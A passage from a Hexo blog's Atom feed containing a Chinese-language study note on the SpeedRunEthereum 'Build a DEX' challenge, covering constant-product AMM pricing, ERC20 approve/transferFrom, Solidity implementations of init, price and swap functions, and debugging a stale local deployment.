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<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Kylinxin's Blog</title>
<link href="https://kylinxin.github.io/atom.xml" rel="self"/>
<link href="https://kylinxin.github.io/"/>
<updated>2026-06-25T01:00:00.000Z</updated>
<id>https://kylinxin.github.io/</id>
<author>
<name>Kylinxin</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>SpeedRunEthereum 靶场学习笔记 04：Build a DEX</title>
<link href="https://kylinxin.github.io/2026/06/25/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2004%EF%BC%9ABuild%20a%20DEX/"/>
<id>https://kylinxin.github.io/2026/06/25/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2004%EF%BC%9ABuild%20a%20DEX/</id>
<published>2026-06-25T01:00:00.000Z</published>
<updated>2026-06-25T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 SpeedRunEthereum 靶场个人学习笔记。第 4 关 Build a DEX 聚焦 AMM 恒定乘积定价、ERC-20 approve / transferFrom 授权、swap、加撤流动性、CEI 安全模式，以及 Scaffold-ETH Debug 标签页联调。</p></blockquote><blockquote><p><strong>Challenge</strong>: <a class="link" href="https://speedrunethereum.com/challenge/build-a-dex" >speedrunethereum.com/challenge/build-a-dex<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a><br><strong>状态</strong>: ✅ COMPLETED（Ethereum 101 · 5/5；12/12 Foundry 测试、Debug 标签页 UI 实测、swap 和 deposit/withdraw 对账均已完成）<br><strong>框架</strong>: Foundry + Scaffold-ETH 2<br><strong>日期</strong>: 2026/06/25<br><strong>XP</strong>: +10（Ethereum 101 · 5/5）</p></blockquote><hr><h2 id="📋-项目总览"><a href="#📋-项目总览" class="headerlink" title="📋 项目总览"></a>📋 项目总览</h2><p>这个挑战要你<strong>从零写一个完整的 AMM DEX</strong>（自动做市商去中心化交易所），参照 Uniswap V2 的设计。5 个 Checkpoint 覆盖：</p><table><thead><tr><th>CP</th><th>主题</th><th>函数</th><th>难度</th></tr></thead><tbody><tr><td><strong>CP2</strong></td><td>初始化 + 流动性查询</td><td><code>init</code>, <code>getLiquidity</code></td><td>⭐</td></tr><tr><td><strong>CP3</strong></td><td>定价数学</td><td><code>price</code></td><td>⭐⭐</td></tr><tr><td><strong>CP4</strong></td><td>交易 (swap)</td><td><code>ethToToken</code>, <code>tokenToEth</code></td><td>⭐⭐⭐</td></tr><tr><td><strong>CP5</strong></td><td>加撤流动性</td><td><code>deposit</code>, <code>withdraw</code></td><td>⭐⭐⭐⭐</td></tr></tbody></table><p><strong>最终成果</strong>：7 个函数 + 2 个 view，<strong>12/12 测试全绿</strong>，Debug 标签页实测 4 个 swap 场景与 deposit/withdraw 对账都符合预期。</p><h3 id="教学价值（这个挑战想让你懂的）"><a href="#教学价值（这个挑战想让你懂的）" class="headerlink" title="教学价值（这个挑战想让你懂的）"></a>教学价值（这个挑战想让你懂的）</h3><ol><li><strong>AMM（自动做市商）核心数学</strong> —— 恒定乘积公式 <code>x·y = k</code></li><li><strong>ERC20 深入</strong> —— 账本模型、approve 流程、OZ v5 行为</li><li><strong>Solidity 工程实践</strong> —— <code>payable</code> / <code>msg.value</code> / <code>address(this).balance</code> 陷阱</li><li><strong>DeFi 安全模式</strong> —— CEI（Checks → Effects → Interactions）</li><li><strong>前端 + 合约联调</strong> —— Scaffold-ETH Debug 标签页 + ABI 错误诊断</li></ol><hr><h2 id="🧠-核心概念（先理解这些再写代码）"><a href="#🧠-核心概念（先理解这些再写代码）" class="headerlink" title="🧠 核心概念（先理解这些再写代码）"></a>🧠 核心概念（先理解这些再写代码）</h2><h3 id="1-AMM-恒定乘积公式"><a href="#1-AMM-恒定乘积公式" class="headerlink" title="1. AMM 恒定乘积公式"></a>1. AMM 恒定乘积公式</h3><p>DEX 跟传统订单簿交易所<strong>完全不同</strong>——它<strong>没有买卖单</strong>，而是用一个数学公式自动定价。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">x · y = k</span><br></pre></td></tr></table></figure></div><p>在无手续费的理想模型里，swap 前后的 <code>k</code> 保持不变；加入 0.3% 手续费后，手续费留在池子里，<code>k</code> 会随交易增长，LP 的份额价值也因此增加。</p><ul><li><code>x</code> = 池子里的 ETH 数量</li><li><code>y</code> = 池子里的 token 数量</li><li>用户拿 <code>Δx</code> ETH 进来换 token，池子的 <code>y</code> 必须<strong>减少</strong>，使无手续费部分满足恒定乘积约束</li><li>拿走的 token = <code>y - k/(x + Δx)</code></li></ul><p><strong>直觉</strong>：您放越多 ETH 进来，单位 ETH 能换的 token <strong>越少</strong>（被数学”惩罚”）。这阻止了”一次性抽干池子”。</p><h3 id="2-0-3-手续费（997-1000-优化）"><a href="#2-0-3-手续费（997-1000-优化）" class="headerlink" title="2. 0.3% 手续费（997/1000 优化）"></a>2. 0.3% 手续费（997/1000 优化）</h3><p>Uniswap V2 收 0.3% 手续费，<strong>LP 凭证持有者赚这钱</strong>。</p><p>数学上等价于”用户的输入只有 99.7% 真的参与定价”：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">xInputWithFee = xInput × 997 / 1000</span><br><span class="line">yOutput = yReserves × xInputWithFee / (xReserves + xInputWithFee)</span><br></pre></td></tr></table></figure></div><p><strong>为什么要 <code>997/1000</code> 而不是直接 <code>× 0.003</code>？</strong> 因为 Solidity 是整数除法，<strong>先除会丢精度</strong>。把 1000 留到分母、997 留到分子，最后一步除法自然约掉，<strong>保留最大精度</strong>。</p><h3 id="3-ERC20-账本模型（关键反直觉点）"><a href="#3-ERC20-账本模型（关键反直觉点）" class="headerlink" title="3. ERC20 账本模型（关键反直觉点）"></a>3. ERC20 账本模型（关键反直觉点）</h3><p><strong>很多人误以为</strong> ERC20 token “装”在合约里——<strong>错</strong>。</p><p>ERC20 合约是<strong>记录”谁有多少 token”的账本（数据库）</strong>，不是装币的容器。</p><p>看 <code>Balloons.sol</code>：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">contract Balloons is ERC20 {</span><br><span class="line"> constructor() ERC20("Balloons", "BAL") {</span><br><span class="line"> _mint(msg.sender, 1000 ether); // mints 1000 balloons!</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><code>_mint(msg.sender, 1000 ether)</code> 在合约的 storage 里：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">totalSupply = 1000 ether // 总账</span><br><span class="line">balanceOf[deployer] = 1000 ether // deployer 名下</span><br><span class="line">balanceOf[Balloons合约自己] = 0 // 合约自己不持有！</span><br></pre></td></tr></table></figure></div><p><strong>证明</strong>：在 Debug 选 <code>Balloons</code> 合约 → <code>balanceOf(Balloons合约自己的地址)</code> → 永远是 <strong>0</strong>。这就是账本模型的”<strong>账本本身不持币</strong>“。</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-04-balloons-contract-view.png" alt="Balloons 合约视图 - totalSupply 1000" ><figcaption>Balloons 合约视图 - totalSupply 1000</figcaption></figure></p><table><thead><tr><th>概念</th><th>现实类比</th></tr></thead><tbody><tr><td>ETH</td><td>真实的”币”，存在地址上（地址.balance 增减）</td></tr><tr><td>ERC20 token</td><td>数字，”记录在”合约的 mapping 里（合约更新 balanceOf[X]）</td></tr></tbody></table><h3 id="4-Approve-TransferFrom-模式"><a href="#4-Approve-TransferFrom-模式" class="headerlink" title="4. Approve + TransferFrom 模式"></a>4. Approve + TransferFrom 模式</h3><p>ERC20 标准规定：<strong>你的钱，必须你主动同意别人才能动</strong>。</p><table><thead><tr><th>步骤</th><th>调什么</th><th>效果</th></tr></thead><tbody><tr><td>①</td><td><code>balloons.approve(dex, 100e18)</code></td><td>“我同意让 DEX 拉我 100 token”（不发生转账，只改 allowance）</td></tr><tr><td>②</td><td><code>dex.init{value: 1e18}(1e18)</code></td><td>用户发 1 ETH + 1 token 给 DEX</td></tr><tr><td>③</td><td>DEX 内部 <code>balloons.transferFrom(user, dex, 1e18)</code></td><td>真正把 1 token 从 user 账本划到 DEX 账本</td></tr></tbody></table><p><strong>为什么不直接 <code>transfer</code>？</strong> 因为 <code>transfer</code> 是 user 先发一笔，再发 ETH，<strong>两笔交易存在不同步和被抢跑风险</strong>。<code>approve + transferFrom</code> 把 ETH 和 token 的进入放在同一笔交易里，保证原子完成。</p><h3 id="5-CEI-安全模式"><a href="#5-CEI-安全模式" class="headerlink" title="5. CEI 安全模式"></a>5. CEI 安全模式</h3><p>Solidity 函数的最佳实践顺序：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">① Checks — 校验输入</span><br><span class="line">② Effects — 修改 state 变量</span><br><span class="line">③ Interactions — 外部调用（transfer、emit）</span><br></pre></td></tr></table></figure></div><p><strong>为什么 Effects 在前？</strong> 万一外部调用触发了用户合约的 fallback 重入，<strong>重入时看到的是已更新的 state</strong>，不会被攻击。</p><hr><h2 id="📂-项目结构"><a href="#📂-项目结构" class="headerlink" title="📂 项目结构"></a>📂 项目结构</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">packages/foundry/</span><br><span class="line">├── contracts/</span><br><span class="line">│ ├── Balloons.sol # 测试用 ERC20 token（DO NOT EDIT）</span><br><span class="line">│ ├── DEX.sol # 我们的 DEX（核心实现）</span><br><span class="line">│ └── IDEX.sol # DEX 接口（DO NOT EDIT，定义函数签名）</span><br><span class="line">└── test/</span><br><span class="line"> └── DEX.t.sol # Foundry 测试，12 个测试覆盖 5 个 CP</span><br><span class="line"></span><br><span class="line">packages/nextjs/</span><br><span class="line">├── app/debug/ # Debug 标签页（手动调合约）</span><br><span class="line">└── contracts/</span><br><span class="line"> └── deployedContracts.ts # 自动生成，记录部署的 ABI</span><br></pre></td></tr></table></figure></div><h3 id="Debug-标签页能看到的所有函数"><a href="#Debug-标签页能看到的所有函数" class="headerlink" title="Debug 标签页能看到的所有函数"></a>Debug 标签页能看到的所有函数</h3><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-03-debug-tab-functions.png" alt="Debug 标签页的函数列表" ><figcaption>Debug 标签页的函数列表</figcaption></figure></p><hr><h2 id="🛠️-Checkpoint-2-初始化-流动性查询"><a href="#🛠️-Checkpoint-2-初始化-流动性查询" class="headerlink" title="🛠️ Checkpoint 2: 初始化 + 流动性查询"></a>🛠️ Checkpoint 2: 初始化 + 流动性查询</h2><h3 id="目标"><a href="#目标" class="headerlink" title="目标"></a>目标</h3><p>实现 <code>init()</code> 创建池子 + <code>getLiquidity()</code> 查询 LP 余额。</p><h3 id="1-immutable-vs-constant"><a href="#1-immutable-vs-constant" class="headerlink" title="1. immutable vs constant"></a>1. immutable vs constant</h3><p><code>DEX.sol</code> 顶部 state variable：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">IERC20 public immutable token; // ← 这个用 immutable</span><br><span class="line">uint256 public totalLiquidity;</span><br><span class="line">mapping(address => uint256) public liquidity;</span><br></pre></td></tr></table></figure></div><table><thead><tr><th>维度</th><th><code>constant</code></th><th><code>immutable</code></th></tr></thead><tbody><tr><td>赋值时机</td><td><strong>编译时</strong></td><td><strong>部署时</strong>（constructor 内）</td></tr><tr><td>能存什么</td><td>值类型、<code>string</code>、<code>bytes</code></td><td><strong>任意类型</strong>（含合约引用）</td></tr><tr><td>存储位置</td><td>内联到字节码</td><td>存在字节码尾部（CODESLOAD）</td></tr><tr><td>Gas</td><td>最便宜</td><td>略贵一点点（仍比 SLOAD 便宜）</td></tr></tbody></table><p><strong>为什么 <code>token</code> 用 immutable？</strong> 因为它是 <code>IERC20</code>（合约地址），<strong>地址只有部署那一刻才知道</strong>——<code>constant</code> 要求编译期就知道值，做不到。但地址一旦在 constructor 设好就再不变，<strong>逻辑上是常量，只是赋值时机晚一点</strong> → <code>immutable</code> 正是为此设计。</p><h3 id="2-init-完整实现"><a href="#2-init-完整实现" class="headerlink" title="2. init() 完整实现"></a>2. <code>init()</code> 完整实现</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">function init(uint256 tokens) public payable returns (uint256 initialLiquidity) {</span><br><span class="line"> if (totalLiquidity > 0) {</span><br><span class="line"> revert DexAlreadyInitialized();</span><br><span class="line"> }</span><br><span class="line"> totalLiquidity = address(this).balance;</span><br><span class="line"> liquidity[msg.sender] = totalLiquidity;</span><br><span class="line"> if (!token.transferFrom(msg.sender, address(this), tokens)) {</span><br><span class="line"> revert TokenTransferFailed();</span><br><span class="line"> }</span><br><span class="line"> return totalLiquidity;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>逐行解析（做什么 / 为什么 / 怎么写）</strong>：</p><h4 id="L1-L3：守卫"><a href="#L1-L3：守卫" class="headerlink" title="L1-L3：守卫"></a>L1-L3：守卫</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">if (totalLiquidity > 0) {</span><br><span class="line"> revert DexAlreadyInitialized();</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><ul><li><strong>做什么</strong>：如果池子已经被初始化过，revert 抛错</li><li><strong>为什么</strong>：DEX 只能 init <strong>一次</strong>——第一次 init 设定了 ETH/token 的初始价格比率（1:1）。如果允许第二次 init，攻击者可以操纵初始价格</li><li><strong>怎么写</strong>：用 <code>revert CustomError()</code> 模式，比 <code>require</code> 字符串省 gas</li></ul><h4 id="L4-L5：设置总-LP-给第一个-LP-发凭证"><a href="#L4-L5：设置总-LP-给第一个-LP-发凭证" class="headerlink" title="L4-L5：设置总 LP + 给第一个 LP 发凭证"></a>L4-L5：设置总 LP + 给第一个 LP 发凭证</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">totalLiquidity = address(this).balance;</span><br><span class="line">liquidity[msg.sender] = totalLiquidity;</span><br></pre></td></tr></table></figure></div><ul><li><strong>做什么</strong>：把”池子里全部的 ETH 数量”记为总流动性，并把这个数量给 msg.sender</li><li><strong>为什么</strong>：<code>address(this).balance</code> 自动包含 msg.value；LP 数量 = 投入的 ETH 数量，让”1 wei 的 LP 凭证 = 当时池子里的 1 wei ETH”——这个 1:1 锚定是后续所有 LP 增减的计算基础</li><li><strong>怎么写</strong>：用 <code>address(this).balance</code> 而不是 <code>msg.value</code>——两者此刻数值相同，但用 balance 更”诚实”（未来如果有 <code>selfdestruct</code> 强制塞 ETH，balance 会变，msg.value 不会）</li></ul><h4 id="L6-L8：拉-token-进来"><a href="#L6-L8：拉-token-进来" class="headerlink" title="L6-L8：拉 token 进来"></a>L6-L8：拉 token 进来</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">if (!token.transferFrom(msg.sender, address(this), tokens)) {</span><br><span class="line"> revert TokenTransferFailed();</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><ul><li><strong>做什么</strong>：从调用者那里<strong>拉取</strong> <code>tokens</code> 数量的 ERC20 代币到合约</li><li><strong>为什么用 <code>transferFrom</code> 而不是 <code>transfer</code>？</strong> <code>transferFrom</code> 走 approve 流程，配合 <code>payable</code> 实现<strong>原子性</strong>（ETH 和 token 一笔交易同进同出）</li><li><strong>为什么检查返回值？</strong> ERC20 标准规定 <code>transferFrom</code> 返回 <code>bool</code>——但不检查的话，失败会<strong>静默成功</strong>，LP 凭空多出 ETH 份额</li></ul><h4 id="⚠️-隐藏的-Bug：死代码"><a href="#⚠️-隐藏的-Bug：死代码" class="headerlink" title="⚠️ 隐藏的 Bug：死代码"></a>⚠️ 隐藏的 Bug：死代码</h4><p><strong><code>if (!token.transferFrom(...))</code> 实际上是死代码</strong>——OpenZeppelin v5 的 <code>transferFrom</code> <strong>不会</strong>返回 false，失败直接 revert（抛 <code>ERC20InsufficientAllowance</code>）。所以 <code>TokenTransferFailed</code> 这个 revert 永远走不到。不过写上无害，是”防御性编程”。</p><h3 id="3-实战踩坑：0xfb8f41b2"><a href="#3-实战踩坑：0xfb8f41b2" class="headerlink" title="3. 实战踩坑：0xfb8f41b2"></a>3. 实战踩坑：0xfb8f41b2</h3><p>第一次在 Debug 调 init 报错：</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-01-init-error-0xfb8f41b2.png" alt="init 报错 0xfb8f41b2" ><figcaption>init 报错 0xfb8f41b2</figcaption></figure></p><p>前端显示 <code>0xfb8f41b2 not found on ABI</code>。我<strong>用 cast 算</strong>了一下：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ cast sig <span class="string">"ERC20InsufficientAllowance(address,uint256,uint256)"</span></span><br><span class="line">0xfb8f41b2</span><br></pre></td></tr></table></figure></div><p><strong>真相</strong>：这是 <strong>OpenZeppelin v5 的标准错误</strong>，来自 <strong>Balloons 合约</strong>，不是 DEX。</p><table><thead><tr><th>原因</th><th>我没给 Balloons 授权 DEX 拉 token</th></tr></thead><tbody><tr><td>流程</td><td>approve 是 ERC20 的”拉钱”前置条件</td></tr><tr><td>解法</td><td>先调 <code>balloons.approve(dex, 1e18)</code>，再调 <code>init</code></td></tr></tbody></table><p><strong>教训</strong>：前端 ABI 找不到错误选择器时，<strong>不要只看调用入口的 ABI，要怀疑子调用</strong>。</p><h3 id="4-init-成功后的状态"><a href="#4-init-成功后的状态" class="headerlink" title="4. init() 成功后的状态"></a>4. <code>init()</code> 成功后的状态</h3><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-05-dex-after-init.png" alt="init 成功后的 DEX 状态" ><figcaption>init 成功后的 DEX 状态</figcaption></figure></p><table><thead><tr><th>状态变量</th><th>值</th><th>含义</th></tr></thead><tbody><tr><td><code>totalLiquidity</code></td><td><code>1e18</code></td><td>DEX 发行的 LP 总量 = 1 ETH</td></tr><tr><td><code>liquidity[user]</code></td><td><code>1e18</code></td><td>第一个 LP 拿到 100% 的 LP</td></tr><tr><td><code>address(dex).balance</code></td><td>1 ETH</td><td>池子里的 ETH</td></tr><tr><td><code>token.balanceOf(dex)</code></td><td>1</td><td>池子里的 token</td></tr></tbody></table><hr><h2 id="🧮-Checkpoint-3-定价函数"><a href="#🧮-Checkpoint-3-定价函数" class="headerlink" title="🧮 Checkpoint 3: 定价函数"></a>🧮 Checkpoint 3: 定价函数</h2><h3 id="目标-1"><a href="#目标-1" class="headerlink" title="目标"></a>目标</h3><p>实现 <code>price()</code> —— <strong>纯计算</strong>，不动 state。</p><h3 id="1-完整实现"><a href="#1-完整实现" class="headerlink" title="1. 完整实现"></a>1. 完整实现</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">function price(uint256 xInput, uint256 xReserves, uint256 yReserves)</span><br><span class="line"> public pure returns (uint256 yOutput)</span><br><span class="line">{</span><br><span class="line"> uint256 xInputWithFee = xInput * 997;</span><br><span class="line"> yOutput = (yReserves * xInputWithFee) / (xReserves * 1000 + xInputWithFee);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h3 id="2-为什么是-pure-不是-view？"><a href="#2-为什么是-pure-不是-view？" class="headerlink" title="2. 为什么是 pure 不是 view？"></a>2. 为什么是 <code>pure</code> 不是 <code>view</code>？</h3><table><thead><tr><th>修饰符</th><th>能否读 state</th><th>能否写 state</th><th>何时用</th></tr></thead><tbody><tr><td><code>pure</code></td><td>❌</td><td>❌</td><td>纯计算</td></tr><tr><td><code>view</code></td><td>✅</td><td>❌</td><td>读 storage</td></tr></tbody></table><p><code>price()</code> <strong>不读</strong> <code>token</code>、<code>totalLiquidity</code>、<strong>任何 storage</strong>——三个参数都从外面传进来。所以可以且<strong>应该</strong>是 <code>pure</code>——在编译期禁止它读取 storage，<strong>更安全 + 更省 gas</strong>。</p><h3 id="3-公式推导（x-·-y-k-0-3-手续费）"><a href="#3-公式推导（x-·-y-k-0-3-手续费）" class="headerlink" title="3. 公式推导（x · y = k + 0.3% 手续费）"></a>3. 公式推导（x · y = k + 0.3% 手续费）</h3><p>设用户输入 <code>Δx</code>，fee = 0.3%，实际参与定价是 <code>Δx × 997/1000</code>：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(x + Δx · 997/1000) · (y - Δy) = x · y</span><br></pre></td></tr></table></figure></div><p>解出 <code>Δy</code>：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Δy = y · Δx · 997 / (x · 1000 + Δx · 997)</span><br></pre></td></tr></table></figure></div><p><strong>这正是测试断言的值</strong>——手算验证：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">price(1e18, 5e18, 5e18)</span><br><span class="line">= 5e18 × 1e18 × 997 / (5e18 × 1000 + 1e18 × 997)</span><br><span class="line">= 4.985e39 / 5.997e21</span><br><span class="line">= 0.8312489578... × 1e18</span><br><span class="line">= 831248957812239453 wei ✅</span><br></pre></td></tr></table></figure></div><h3 id="4-手算举例（为什么不是-1-0）"><a href="#4-手算举例（为什么不是-1-0）" class="headerlink" title="4. 手算举例（为什么不是 1.0）"></a>4. 手算举例（为什么不是 1.0）</h3><p>直觉：池子里 5 ETH 和 5 token，”公允价值”是 1 ETH = 1 token。投 1 ETH 应该换 1 token 才”公平”。</p><p><strong>但实际只换到 0.8312 token</strong>——少了约 17%！两个损失叠加：</p><h4 id="损失-①：AMM-滑点"><a href="#损失-①：AMM-滑点" class="headerlink" title="损失 ①：AMM 滑点"></a>损失 ①：AMM 滑点</h4><p>不带手续费，投 1 ETH 进去：</p><ul><li>池子变成 6 ETH，要保持 k=25 → token 池 = 25/6 ≈ 4.167</li><li>拿 <code>5 - 4.167 = 0.833</code> token</li></ul><h4 id="损失-②：0-3-手续费"><a href="#损失-②：0-3-手续费" class="headerlink" title="损失 ②：0.3% 手续费"></a>损失 ②：0.3% 手续费</h4><p>手续费扣的是”输入”：1 ETH → 0.003 ETH = 手续费 → <strong>只有 0.997 ETH 进池子定价</strong></p><table><thead><tr><th>阶段</th><th>池子 ETH</th><th>池子 token</th><th>我能拿走</th></tr></thead><tbody><tr><td>初始</td><td>5</td><td>5</td><td>0</td></tr><tr><td>投 0.997 ETH 后（扣 0.3% 费）</td><td>5.997</td><td>4.169</td><td><strong>0.8312</strong> ✅</td></tr></tbody></table><p>手续费留在池子里，让 LP 凭证越来越值钱——<strong>这就是 LP 怎么赚钱</strong>。</p><h3 id="5-实战踩坑：price-返回-0"><a href="#5-实战踩坑：price-返回-0" class="headerlink" title="5. 实战踩坑：price 返回 0"></a>5. 实战踩坑：price 返回 0</h3><p>我以为 <code>forge test</code> 通过就 OK，结果去 Debug 调 <code>price(1e18, 5e18, 5e18)</code> 返回 <strong>0</strong>：</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-02-price-returns-zero.png" alt="price 返回 0" ><figcaption>price 返回 0</figcaption></figure></p><p><strong>原因</strong>：<strong>链上部署的合约是旧版本</strong>（部署时 price() 函数体还是空注释 <code>// Your code here...</code>），新代码只在我电脑上编译过，没部署到链上。</p><p><strong><code>forge test</code> 跑的是测试时新编译的代码，但前端连的是链上已部署的旧合约实例</strong>——两个东西完全不同。</p><table><thead><tr><th>方式</th><th>代码来源</th></tr></thead><tbody><tr><td><code>forge test</code></td><td>每次跑测试都<strong>重新编译并部署</strong>新合约实例</td></tr><tr><td>Scaffold-ETH 前端</td><td>连的是<strong>本地链上已部署的合约实例</strong>（不会自动重编译）</td></tr></tbody></table><p><strong>修法</strong>：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 停掉 yarn chain（Ctrl+C）</span></span><br><span class="line"><span class="comment"># 2. 重启 yarn chain</span></span><br><span class="line">yarn chain</span><br><span class="line"><span class="comment"># 3. 重部署（必须加 --reset）</span></span><br><span class="line">yarn deploy --reset</span><br><span class="line"><span class="comment"># 4. 刷前端</span></span><br><span class="line">Cmd/Ctrl + R</span><br></pre></td></tr></table></figure></div><p><strong>教训</strong>：改完合约 → <code>forge build</code> → <code>forge test</code> → <code>yarn deploy --reset</code> → 刷前端，<strong>5 步缺一不可</strong>。</p><hr><h2 id="🔄-Checkpoint-4-交易-swap"><a href="#🔄-Checkpoint-4-交易-swap" class="headerlink" title="🔄 Checkpoint 4: 交易 (swap)"></a>🔄 Checkpoint 4: 交易 (swap)</h2><h3 id="目标-2"><a href="#目标-2" class="headerlink" title="目标"></a>目标</h3><p>实现 <code>ethToToken()</code>（ETH → token）和 <code>tokenToEth()</code>（token → ETH）。</p><h3 id="1-完整实现-1"><a href="#1-完整实现-1" class="headerlink" title="1. 完整实现"></a>1. 完整实现</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">function ethToToken() public payable returns (uint256 tokenOutput) {</span><br><span class="line"> if (msg.value == 0) revert InvalidEthAmount();</span><br><span class="line"> uint256 xReserves = address(this).balance - msg.value;</span><br><span class="line"> uint256 yReserves = token.balanceOf(address(this));</span><br><span class="line"> tokenOutput = price(msg.value, xReserves, yReserves);</span><br><span class="line"> if (!token.transfer(msg.sender, tokenOutput)) revert TokenTransferFailed();</span><br><span class="line"> emit EthToTokenSwap(msg.sender, msg.value, tokenOutput);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function tokenToEth(uint256 tokenInput) public returns (uint256 ethOutput) {</span><br><span class="line"> if (tokenInput == 0) revert InvalidTokenAmount();</span><br><span class="line"> uint256 xReserves = token.balanceOf(address(this));</span><br><span class="line"> uint256 yReserves = address(this).balance;</span><br><span class="line"> ethOutput = price(tokenInput, xReserves, yReserves);</span><br><span class="line"> if (!token.transferFrom(msg.sender, address(this), tokenInput)) revert TokenTransferFailed();</span><br><span class="line"> payable(msg.sender).transfer(ethOutput);</span><br><span class="line"> emit TokenToEthSwap(msg.sender, tokenInput, ethOutput);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h3 id="2-关键知识点"><a href="#2-关键知识点" class="headerlink" title="2. 关键知识点"></a>2. 关键知识点</h3><h4 id="知识点-①：Solidity-收-ETH-的”快照陷阱”"><a href="#知识点-①：Solidity-收-ETH-的”快照陷阱”" class="headerlink" title="知识点 ①：Solidity 收 ETH 的”快照陷阱”"></a>知识点 ①：Solidity 收 ETH 的”快照陷阱”</h4><p><strong>事实</strong>：当 <code>payable</code> 